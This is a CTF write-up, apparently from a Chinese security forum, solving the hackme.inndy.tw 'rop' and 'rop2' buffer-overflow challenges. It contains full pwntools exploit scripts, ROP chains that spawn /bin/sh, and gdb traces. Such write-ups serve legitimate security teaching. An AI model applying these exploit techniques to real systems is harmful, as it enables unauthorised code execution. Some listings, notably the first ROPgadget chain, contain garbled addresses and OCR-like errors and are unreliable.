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rop和rop2的题目的wp

[niexinming](#) / 2017-11-12 21:49:05 / 浏览数 3176 [安全技术](#) [CTF 顶\(0\)](#) [踩\(0\)](#)

<https://hackme.inndy.tw/scoreboard/> 题目很有趣，我做了rop和rop2这两个题目感觉还不错，我把wp分享出来，方便大家学习


首先先是rop这个题目，下载地址就在<https://hackme.inndy.tw/scoreboard/>，如果做题的网站关闭或者被墙，就可以从<http://download.csdn.net/download/niexinming>下载，rop的要求是：

nc hackme.inndy.tw 7704

Tips: Buffer Overflow, ROP

把rop直接拖入ida中


main函数：



The screenshot shows the IDA Pro interface with the main function pseudocode. The tabs at the top are IDA View-A, Pseudocode-A, Hex View-1, Structures, and Ent. The pseudocode is as follows:

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int v3; // ebx@0
4
5     alarm((int)&argc, v3);
6     overflow();
7     return 0;
8 }
```


overflow函数：



The screenshot shows the IDA Pro interface with the overflow function pseudocode. The tabs at the top are IDA View-A, Pseudocode-A, and Hex View-1. The pseudocode is as follows:

```
1 int overflow()
2 {
3     char v1; // [sp+Ch] [bp-Ch]@1
4
5     return gets((int)&v1);
6 }
```

先运行一下程序看一下这个程序干了啥



The screenshot shows a terminal window with the following output:

```
h11p@ubuntu:~/hackme$ ./rop
123
h11p@ubuntu:~/hackme$
```

再看看程序开启了哪些保护：

```
h11p@ubuntu:~/hackme$ checksec rop
[*] '/home/h11p/hackme/rop'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
h11p@ubuntu:~/hackme$
```

看到NX enabled是开启了栈不可执行，这时ROP就有应用空间了

这个程序很简单，就一个gets函数，所以栈溢出就好了

这个程序似乎是用静态库，所以我用`readelf -d rop`来查看一下

```
h11p@ubuntu:~/hackme$ readelf -d rop
```

There is no dynamic section in this file.

```
h11p@ubuntu:~/hackme$
```

果然是静态库，这时候推荐一个ppt讲的很好<https://www.slideshare.net/hackstuff/rop-40525248>，遇到这种题目推荐一个工具很不错：<https://github.com/JonathanS>

首先这个题目只要输入20个a就可以覆盖函数返回值了

这个题目如果用工具的话也很简单，直接用ROPgadget --binary rop --ropchain 就可以生成好rop利用链了，一点都不用操心，真不错

```
from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0006ecd0) # pop edx ; ret
p += pack('<I', 0x00ea0600) # @ .data
p += pack('<I', 0x00b00100) # pop eax ; ret
p += '/bin/'
p += pack('<I', 0x000546db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecd0) # pop edx ; ret
p += pack('<I', 0x080ca8e4) # @ .data + 4
p += pack('<I', 0x080b8915) # pop oax ; ret
p += '//sh'
p += pack('<I', 0x080546db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0006ecd0) # pop edx ; ret
p += pack('<I', 0x00ea0600) # @ .data + 0
p += pack('<I', 0x00492d3) # xor eax, eax ; ret
p += pack('<I', 0x000546db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ca8e8) # @ .data
p += pack('<I', 0x08007699) # pop ecx ; ret
p += pack('<I', 0x080ca8e8) # @ .data + 8
p += pack('<I', 0x0006ecd0) # pop edx ; ret
p += pack('<I', 0x00ea0600) # @ .data + 8
p += pack('<I', 0x00492d3) # xor eax, eax ; ret
p += pack('<I', 0x0007a6ff) # inc eax ; ret
p += pack('<I', 0x0007a6ff) # inc eax ; ret
p += pack('<I', 0x0807a6ff) # inc oax ; ret
p += pack('<I', 0x0807a6ff) # inc oax ; ret
p += pack('<I', 0x0807a6ff) # inc oax ; ret
p += pack('<I', 0x0807a6ff) # inc oax ; ret
p += pack('<I', 0x0007a6ff) # inc eax ; ret
p += pack('<I', 0x0007a6ff) # inc eax ; ret
p += pack('<I', 0x0007a6ff) # inc eax ; ret
p += pack('<I', 0x0007a6ff) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
```

http://ubuntu.com/~ROPgadgets

然后我的exp就是：

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'niexinming'

from pwn import *
from struct import pack

context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048892'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

shellcode="/home/flag"
# print disasm(shellcode)

elf = ELF('/home/hllp/hackme/rop')
#printf_addr = elf.symbols['printf']
#print "%x" % printf_addr
bss_addr = elf.bss()
print "%x" % bss_addr
```

```
offset = 16
```

```
#io = process('/home/hllp/hackme/rop')
```

```
io = remote('hackme.inndy.tw', 7704)
```

```
#bof=0x080488B7
```

```
#payload = 'A' * offset
```

```
###ROPgadget --binary ~/hackme/rop --ropchain
```

```
###https://www.slideshare.net/hackstuff/rop-40525248
```

```
# Padding goes here
```

```
p = 'A' * offset
```

```
p += pack('<I', 0x0806ecda) # pop edx ; ret
```

```
p += pack('<I', 0x080ea060) # @ .data
```

```
p += pack('<I', 0x080b8016) # pop eax ; ret
```

```
p += '/bin'
```

```
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
```

```
p += pack('<I', 0x0806ecda) # pop edx ; ret
```

```
p += pack('<I', 0x080ea064) # @ .data + 4
```

```
p += pack('<I', 0x080b8016) # pop eax ; ret
```

```
p += '//sh'
```

```
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
```

```
p += pack('<I', 0x0806ecda) # pop edx ; ret
```

```
p += pack('<I', 0x080ea068) # @ .data + 8
```

```
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
```

```
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
```

```
p += pack('<I', 0x080481c9) # pop ebx ; ret
```

```
p += pack('<I', 0x080ea060) # @ .data
```

```
p += pack('<I', 0x080de769) # pop ecx ; ret
```

```
p += pack('<I', 0x080ea068) # @ .data + 8
```

```
p += pack('<I', 0x0806ecda) # pop edx ; ret
```

```
p += pack('<I', 0x080ea068) # @ .data + 8
```

```
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0807a66f) # inc eax ; ret
```

```
p += pack('<I', 0x0806c943) # int 0x80
```

```
#debug()
```

```
io.sendline(p)
```

```
io.interactive()
```

```
io.close()
```

看一下效果：

```
80eaf80
[*] Opening connection to hackme.inndy.tw on port 7704: Done
[DEBUG] Sent 0x95 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAA AAAA AAAA AAAA
00000010 da ec 00 00 00 00 00 00 10 00 00 00 2f 62 69 6e  .... /bin
00000020 6b 46 85 08 da ec 00 00 64 00 00 00 10 00 00 00  kF....d....
00000030 2f 2f 73 08 0b 40 03 00 da ec 00 00 00 00 00 00  //sh kF....h...
00000040 d3 92 84 08 6b 46 85 08 c9 81 84 00 00 00 00 00  ....kF....
00000050 69 c7 0d 08 68 00 0e 08 da ec 00 00 00 00 00 00  t....h....h...
00000060 d3 92 84 08 6f 00 07 08 6f 00 07 08 6f 00 07 08  ....o...o...o...
00000070 6f 00 07 08 6f 00 07 08 6f 00 07 08 6f 00 07 08  ....o...o...o...
*
00000090 43 c9 06 08 0a                                     [c...[-]
00000095
[*] Switching to interactive mode
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
$
[*] Interrupted
[*] Closed connection to hackme.inndy.tw port 7704
hiip@ubuntu:~/PycharmProjects/testpwn$ python pwnrop.py
[DEBUG] '/hone/hiip/hackme/rop' is statically linked, skipping GOT/PLT symbols
[*] '/hone/hiip/hackme/rop'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x000000)
80eaf80
[*] Opening connection to hackme.inndy.tw on port 7704: Done
[DEBUG] Sent 0x95 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAA AAAA AAAA AAAA
00000010 da ec 00 00 00 00 00 00 10 00 00 00 2f 62 69 6e  .... /bin
00000020 6b 46 85 08 da ec 00 00 64 00 00 00 10 00 00 00  kF....d....
00000030 2f 2f 73 08 0b 40 03 00 da ec 00 00 00 00 00 00  //sh kF....h...
00000040 d3 92 84 08 6b 46 85 08 c9 81 84 00 00 00 00 00  ....kF....
00000050 69 c7 0d 08 68 00 0e 08 da ec 00 00 00 00 00 00  t....h....h...
00000060 d3 92 84 08 6f 00 07 08 6f 00 07 08 6f 00 07 08  ....o...o...o...
00000070 6f 00 07 08 6f 00 07 08 6f 00 07 08 6f 00 07 08  ....o...o...o...
*
00000090 43 c9 06 08 0a                                     [c...[-]
00000095
[*] Switching to interactive mode
$(d
[DEBUG] Sent 0x3 bytes:
'\n'
[DEBUG] Received 0x2d bytes:
'uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)\n'
uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)
$ exit
```

下面介绍rop2这个题目，这个题目很有趣

rop2下载地址就在<https://hackme.inndy.tw/scoreboard/>，如果做题的网站关闭或者被墙，就可以从<http://download.csdn.net/download/niexinming/10022836>下载

rop2的要求是：

nc hackme.inndy.tw 7703

ROPgadget not working anymore

把rop直接拖入ida中

main函数：

```

7  int v8; // [sp+15h] [bp-23h]@1
8  int v9; // [sp+19h] [bp-1Fh]@1
9  int v10; // [sp+1Dh] [bp-1Bh]@1
10 int v11; // [sp+21h] [bp-17h]@1
11 int v12; // [sp+25h] [bp-13h]@1
12 int v13; // [sp+29h] [bp-Fh]@1
13 __int16 v14; // [sp+2Dh] [bp-Bh]@1
14 char v15; // [sp+2Fh] [bp-9h]@1
15
16 alarm(0x1Eu);
17 v4 = 544104771;
18 v5 = 544567161;
19 v6 = 1986817907;
20 v7 = 1752440933;
21 v8 = 171930473;
22 v9 = 1702259015;
23 v10 = 543517984;
24 v11 = 1920298873;
25 v12 = 1886351904;
26 v13 = 1767991395;
27 v14 = 14958;
28 v15 = 0;
29 syscall(4, 1, &v4, 42);
30 overflow();
31 return 0;
32}

```

000004CF main:23

170.

overflow函数:

IDA View-A

Pseudocode-A

Hex View-1

```

1 __int32 overflow()
2 {
3     char v1; // [sp+Ch] [bp-Ch]@1
4
5     syscall(3, 0, &v1, 1024);
6     return syscall(4, 1, &v1, 1024);
7 }

```

先运行一下程序看一下这个程序干了啥

```

h1p@ubuntu:~/hackme$ ./rop2
Can you solve this?
Give me your ropchain:aaaaa
aaaaa

Can you solve this?
Give me your ropchain:~v[]y76>[]f~nf>[]a6[]8 0.6'z>nz[]yy{[]f<fNfyiffcf1fEf~f[] f'f2f?fuiff'f~f藹y []=d y @
总=of[]f):cd6b$y[]h1p@ubuntu:~/hackme$ xshell

```

再看看程序开启了哪些保护:

```
h11p@ubuntu:~/hackme$ checksec rop2
[*] '/home/h11p/hackme/rop2'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
h11p@ubuntu:~/hackme$
```

看到NX enabled是开启了栈不可执行，这时ROP就有应用空间了

这个程序很有趣，输入和输出都是用的syscall这个函数，关于syscall函数参考：<http://blog.chinaunix.net/uid-28458801-id-4630215.html>和<http://www.cnblogs.com/>这两个文章，syscall的第一个参数是系统调用的宏，后面的参数是系统调用所用的参数，这个宏具体可参考/usr/include/x86_64-linux-gnu/asm/unistd_32.h

```
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_inlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16
#define __NR_break 17
#define __NR_oldstat 18
#define __NR_lseek 19
#define __NR_getpid 20
#define __NR_mount 21
#define __NR_umount 22
#define __NR_setuid 23
#define __NR_getuid 24
#define __NR_stime 25
#define __NR_ptrace 26
#define __NR_alarm 27
#define __NR_oldstat 28
#define __NR_pause 29
#define __NR_utime 30
#define __NR_stty 31
#define __NR_gtty 32
#define __NR_access 33
#define __NR_nice 34
#define __NR_ftime 35
#define __NR_sync 36
#define __NR_kill 37
#define __NR_rename 38
#define __NR_mkdir 39
#define __NR_rmdir 40
#define __NR_dup 41
#define __NR_pipe 42
#define __NR_times 43
#define __NR_prof 44
#define __NR_brk 45
#define __NR_setgid 46
#define __NR_getgid 47
#define __NR_signal 48
#define __NR_geteuid 49
#define __NR_getegid 50
#define __NR_acct 51
#define __NR_inmount 52
#define __NR_lock 53
#define __NR_loctl 54
#define __NR_fcntl 55
#define __NR_mpx 56
#define __NR_setpgid 57
```

可以看到输出是3，输出是4，执行系统命令是11，关于execve函数这篇文章讲的很不错<http://blog.csdn.net/chichoxian/article/details/53486131>，如果想用execve得到

所以我就有一个想法，这里还是首先感谢M4x的点拨，M4x师傅真是太厉害了，首先，利用溢出后跳到main函数中这个syscall这个函数里面，并且传递参数（3,0,bss,8），意

这个函数一样，这样就可以得到shell了

下面是我的exp：

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'niexinming'

from pwn import *
import time

context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x8048485'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

elf = ELF('/home/h11p/hackme/rop2')
bss_addr = elf.bss()
print "%x" % bss_addr
```



```

shellcode='/bin//sh'
#shellcode=p32(0x0804847C)
elf = ELF('/home/hllp/hackme/rop2')
offset = 16

io = process('/home/hllp/hackme/rop2')

#io = remote('hackme.inndy.tw', 7703)

payload = 'a'*4 + 'b'*4 + 'c'*4
payload += p32(0x080484FF)
payload += p32(0x080484FF)
#payload += p32(0x0804B054)
payload += p32(0x3)
payload += p32(0x0)
payload += p32(bss_addr) #.bss
payload += p32(0x8)

payload2 = 'a'*4 + 'b'*4 + 'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
#payload += p32(0x0804B054)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)

debug()
io.recvuntil('Can you solve this?\nGive me your ropchain:')
io.sendline(payload)
io.readline()
io.send(shellcode)
io.recvline(timeout=3)
io.sendline(payload2)

io.interactive()

io.close()

```

我来调试一下，首先把断点放在0x8048485这个地方，也就是overflow结尾的地方

```

Terminal
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x804847c <overflow+40>: call 0x8048320 <syscall@plt>
0x8048481 <overflow+45>: add esp,0x10
0x8048484 <overflow+48>: nop
=> 0x8048485 <overflow+49>: leave
0x8048486 <overflow+50>: ret
0x8048487 <main>: lea ecx,[esp+0x4]
0x804848b <main+4>: and esp,0xffffffff
0x804848e <main+7>: push DWORD PTR [ecx-0x4]
[-----stack-----]
0000| 0xffd66fa0 --> 0xf772f000 --> 0x1b1db0
0004| 0xffd66fa4 --> 0xf772f000 --> 0x1b1db0
0008| 0xffd66fa8 --> 0xffd66ff8 --> 0x0
0012| 0xffd66fac ("aaaabbbbcccc\377\204\004\b\377\204\004\b\003")
0016| 0xffd66fb0 ("bbbbcccc\377\204\004\b\377\204\004\b\003")
0020| 0xffd66fb4 ("cccc\377\204\004\b\377\204\004\b\003")
0024| 0xffd66fb8 --> 0x80484ff (<nain+120>: call 0x8048320 <syscall@plt>)
0028| 0xffd66fbc --> 0x80484ff (<nain+120>: call 0x8048320 <syscall@plt>)
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048485 in overflow ()
gdb-peda$

```

这里有个坑，就是溢出后执行到overflow后面的leave;ret;会有堆栈不平衡的现象，明明溢出的地方在输入16个a之后的四个字节的的地方,而leave指令相当于 (mov

ebp)，而多出的ebp在输入12个a之后的四个字节中，这样的如果你的payload是"a"*16+syscall_addr，那么程序在执行完overflow这个函数之后gdb就会崩溃为了演示这个坑，我把exp中的payload改成

[illegible]

```
payload2 = 'a'*4 + 'b'*4 + 'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
#payload += p32(0x0804B054)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)
```

解决完上面的坑之后继续往下走
溢出后跳入到main函数中的syscall(也就是080484FF)这个位置


```

Terminal
0x80484fd <main+118>:      push    0x4
=> 0x80484ff <main+120>:      call     0x8048320 <syscall@plt>
0x8048504 <main+125>:      add     esp,0x10
0x8048507 <main+128>:      call     0x8048454 <overflow>
0x804850c <main+133>:      mov     eax,0x0
0x8048511 <main+138>:      mov     ecx,DWORD PTR [ebp-0x4]
Guessed arguments:
arg[0]: 0x3
arg[1]: 0x0
arg[2]: 0x804a020 --> 0x0
arg[3]: 0x8
[-----stack-----]
0000| 0xffd66fc0 --> 0x3
0004| 0xffd66fc4 --> 0x0
0008| 0xffd66fc8 --> 0x804a020 --> 0x0
0012| 0xffd66fcc --> 0x8
0016| 0xffd66fd0 ("\ne this?\nGive me your ropchain:")
0020| 0xffd66fd4 ("his?\nGive me your ropchain:")
0024| 0xffd66fd8 ("\nGive me your ropchain:")
0028| 0xffd66fdc ("e me your ropchain:")
[-----]
Legend: code, data, rodata, value
0x080484ff in main ()
qdb-peda$

```

这里看到传递的参数是 (3,0,bss,8)，程序向下又执行到了overflow这个函数中

```

Terminal
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x80484fd <main+118>:      push    0x4
0x80484ff <main+120>:      call     0x8048320 <syscall@plt>
0x8048504 <main+125>:      add     esp,0x10
=> 0x8048507 <main+128>:      call     0x8048454 <overflow>
0x804850c <main+133>:      mov     eax,0x0
0x8048511 <main+138>:      mov     ecx,DWORD PTR [ebp-0x4]
0x8048514 <main+141>:      leave
0x8048515 <main+142>:      lea     esp,[ecx-0x4]
No argument
[-----stack-----]
0000| 0xffda79b0 --> 0x8
0004| 0xffda79b4 ("\nts?\nGive me your ropchain:")
0008| 0xffda79b8 ("\nGive me your ropchain:")
0012| 0xffda79bc ("e me your ropchain:")
0016| 0xffda79c0 (" your ropchain:")
0020| 0xffda79c4 ("r ropchain:")
0024| 0xffda79c8 ("pchain:")
0028| 0xffda79cc --> 0x3a6e69 ('in:')
[-----]
Legend: code, data, rodata, value
0x08048507 in main ()
qdb-peda$

```

此时再发出一个payload来溢出这个函数

```

payload2 = 'a'*4 + 'b'*4 + 'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)

```

在gdb中输入c发现又断在了0x8048485这个地址

```
Terminal
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x804847c <overflow+40>: call 0x8048320 <syscall@plt>
0x8048481 <overflow+45>: add esp,0x10
0x8048484 <overflow+48>: nop
=> 0x8048485 <overflow+49>: leave
0x8048486 <overflow+50>: ret
0x8048487 <main>: lea ecx,[esp+0x4]
0x804848b <main+4>: and esp,0xffffffff
0x804848e <main+7>: push DWORD PTR [ecx-0x4]
[-----stack-----]
0000| 0xffda7990 --> 0xf77ab000 --> 0x1b1db0
0004| 0xffda7994 --> 0xf77ab000 --> 0x1b1db0
0008| 0xffda7998 --> 0xf7611735 (<__syscall_error+5>: add edx,0x1998cb)
0012| 0xffda799c ("/bin//sh\003")
0016| 0xffda79a0 ("/sh\003")
0020| 0xffda79a4 --> 0x3
0024| 0xffda79a8 --> 0x80484ff (<main+120>: call 0x8048320 <syscall@plt>)
0028| 0xffda79ac --> 0x804850c (<main+133>: mov eax,0x0)
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048485 in overflow ()
gdb-peda$
```

继续输入n向下执行,发现又跳到main函数中的syscall(也就是080484FF)这个位置

```
Terminal
0x80484fd <main+118>: push 0x4
=> 0x80484ff <main+120>: call 0x8048320 <syscall@plt>
0x8048504 <main+125>: add esp,0x10
0x8048507 <main+128>: call 0x8048454 <overflow>
0x804850c <main+133>: mov eax,0x0
0x8048511 <main+138>: mov ecx,DWORD PTR [ebp-0x4]
Guessed arguments:
arg[0]: 0xb ('\x0b')
arg[1]: 0x804a020 ("/bin//sh")
arg[2]: 0x0
arg[3]: 0x0
[-----stack-----]
0000| 0xffb349f0 --> 0xb ('\x0b')
0004| 0xffb349f4 --> 0x804a020 ("/bin//sh")
0008| 0xffb349f8 --> 0x0
0012| 0xffb349fc --> 0x0
0016| 0xffb34a00 ("\nyour ropchain:")
0020| 0xffb34a04 ("r ropchain:")
0024| 0xffb34a08 ("pchain:")
0028| 0xffb34a0c --> 0x3a6e69 ('in:')
[-----]
Legend: code, data, rodata, value
0x080484ff in main ()
gdb-peda$
```

这里看到传递的参数是 (11,bss,0,0),这里相当于执行execve("/bin//sh",NULL,NULL); 继续执行就成功了

来看一下效果

经过调试发现，M4x师傅在溢出后就跳入到.got.plt表中的syscall的地方，并且传入参数

```
Terminal
0x804831b <__libc_start_main@plt+11>:      jmp     0x80482f0
=> 0x8048320 <syscall@plt>:      jmp     DWORD PTR ds:0x804a014
| 0x8048326 <syscall@plt+6>:      push    0x10
| 0x804832b <syscall@plt+11>:     jmp     0x80482f0
| 0x8048330:      jmp     DWORD PTR ds:0x8049ffc
| 0x8048336:      xchg    ax,ax
|-> 0xf76a4a80 <syscall>:      push    ebp
    0xf76a4a81 <syscall+1>:     push    edi
    0xf76a4a82 <syscall+2>:     push    esi
    0xf76a4a83 <syscall+3>:     push    ebx
JUMP is taken
[-----stack-----]
0000| 0xff861010 --> 0x8048578 (<__libc_csu_init+88>:  pop    ebx)
0004| 0xff861014 --> 0x3
0008| 0xff861018 --> 0x0
0012| 0xff86101c --> 0x804a020 --> 0x0
0016| 0xff861020 --> 0x8
0020| 0xff861024 --> 0x8048320 (<syscall@plt>:  jmp     DWORD PTR ds:0x804a014)
0024| 0xff861028 --> 0xdeadbeef
0028| 0xff86102c --> 0xb ('\x0b')
[-----]
Legend: code, data, rodata, value
0x08048320 in syscall@plt ()
gdb-peda$
```

调用完syscall之后，利用rop把传入syscall的参数弹出，使堆栈平衡

```
[-----registers-----]
EAX: 0x8
EBX: 0x0
ECX: 0x804a020 ("/bin/sh\n")
EDX: 0x8
ESI: 0xf7774000 --> 0x1b1db0
EDI: 0xf7774000 --> 0x1b1db0
EBP: 0x61616164 ('daaa')
ESP: 0xff861010 --> 0x8048578 (<__libc_csu_init+88>:  pop    ebx)
EIP: 0xf76a4ab6 (<syscall+54>:  ret)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0xf76a4aaa <syscall+42>:      pop     ebp
0xf76a4aab <syscall+43>:      cmp     eax,0xffffffff001
0xf76a4ab0 <syscall+48>:      jae     0xf75da730 <__syscall_error>
=> 0xf76a4ab6 <syscall+54>:      ret
0xf76a4ab7:      xchg    ax,ax
0xf76a4ab9:      xchg    ax,ax
0xf76a4abb:      xchg    ax,ax
0xf76a4abd:      xchg    ax,ax
[-----stack-----]
0000| 0xff861010 --> 0x8048578 (<__libc_csu_init+88>:  pop    ebx)
0004| 0xff861014 --> 0x3
0008| 0xff861018 --> 0x0
0012| 0xff86101c --> 0x804a020 ("/bin/sh\n")
0016| 0xff861020 --> 0x8
0020| 0xff861024 --> 0x8048320 (<syscall@plt>:  jmp     DWORD PTR ds:0x804a014)
0024| 0xff861028 --> 0xdeadbeef
0028| 0xff86102c --> 0xb ('\x0b')
[-----]
Legend: code, data, rodata, value
33      in ../sysdeps/unix/sysv/linux/i386/syscall.S
```



```

ECX: 0x804a020 ("/bin/sh\n")
EDX: 0x8
ESI: 0xf7774000 --> 0x1b1db0
EDI: 0xf7774000 --> 0x1b1db0
EBP: 0x61616164 ('daaa')
ESP: 0xff861014 --> 0x3
EIP: 0x8048578 (<__libc_csu_init+88>: pop ebx)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
\[------code-----]
0x8048571 <__libc_csu_init+81>: cmp    edi,esi
0x8048573 <__libc_csu_init+83>: jne    0x8048558 <__libc_csu_init+56>
0x8048575 <__libc_csu_init+85>: add    esp,0xc
=> 0x8048578 <__libc_csu_init+88>: pop    ebx
0x8048579 <__libc_csu_init+89>: pop    esi
0x804857a <__libc_csu_init+90>: pop    edi
0x804857b <__libc_csu_init+91>: pop    ebp
0x804857c <__libc_csu_init+92>: ret
[------stack-----]
0000| 0xff861014 --> 0x3
0004| 0xff861018 --> 0x0
0008| 0xff86101c --> 0x804a020 ("/bin/sh\n")
0012| 0xff861020 --> 0x8
0016| 0xff861024 --> 0x8048320 (<syscall@plt>: jmp     DWORD PTR ds:0x804a014)
0020| 0xff861028 --> 0xdeadbeef
0024| 0xff86102c --> 0xb ('\x0b')
0028| 0xff861030 --> 0x804a020 ("/bin/sh\n")
[------]
Legend: code, data, rodata, value
0x8048578 in __libc_csu_init ()
gdb-peda$

```

然后再调用syscall，并传入（11,bss,0,0）

```

EBX: 0x3
ECX: 0x804a020 ("/bin/sh\n")
EDX: 0x8
ESI: 0x0
EDI: 0x804a020 ("/bin/sh\n")
EBP: 0x8
ESP: 0xff861028 --> 0xdeadbeef
EIP: 0x8048320 (<syscall@plt>: jmp     DWORD PTR ds:0x804a014)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
\[------code-----]
0x8048310 <__libc_start_main@plt>: jmp     DWORD PTR ds:0x804a010
0x8048316 <__libc_start_main@plt+6>: push    0x8
0x804831b <__libc_start_main@plt+11>: jmp     0x80482f0
=> 0x8048320 <syscall@plt>: jmp     DWORD PTR ds:0x804a014
| 0x8048326 <syscall@plt+6>: push    0x10
| 0x804832b <syscall@plt+11>: jmp     0x80482f0
| 0x8048330: jmp     DWORD PTR ds:0x8049ffc
| 0x8048336: xchg    ax,ax
|-> 0xf76a4a00 <syscall+0>: push    ebp
| 0xf76a4a01 <syscall+1>: push    edi
| 0xf76a4a02 <syscall+2>: push    esi
| 0xf76a4a03 <syscall+3>: push    ebx
|                                     JUMP is taken
[------stack-----]
0000| 0xff861028 --> 0xdeadbeef
0004| 0xff86102c --> 0xb ('\x0b')
0008| 0xff861030 --> 0x804a020 ("/bin/sh\n")
0012| 0xff861034 --> 0x0
0016| 0xff861038 --> 0x0
0020| 0xff86103c ("n/bin/sh")
0024| 0xff861040 ("n/sh")
0028| 0xff861044 --> 0xff861000 --> 0x0
[------]
Legend: code, data, rodata, value
0x8048320 in syscall@plt ()
gdb-peda$

```

getshell

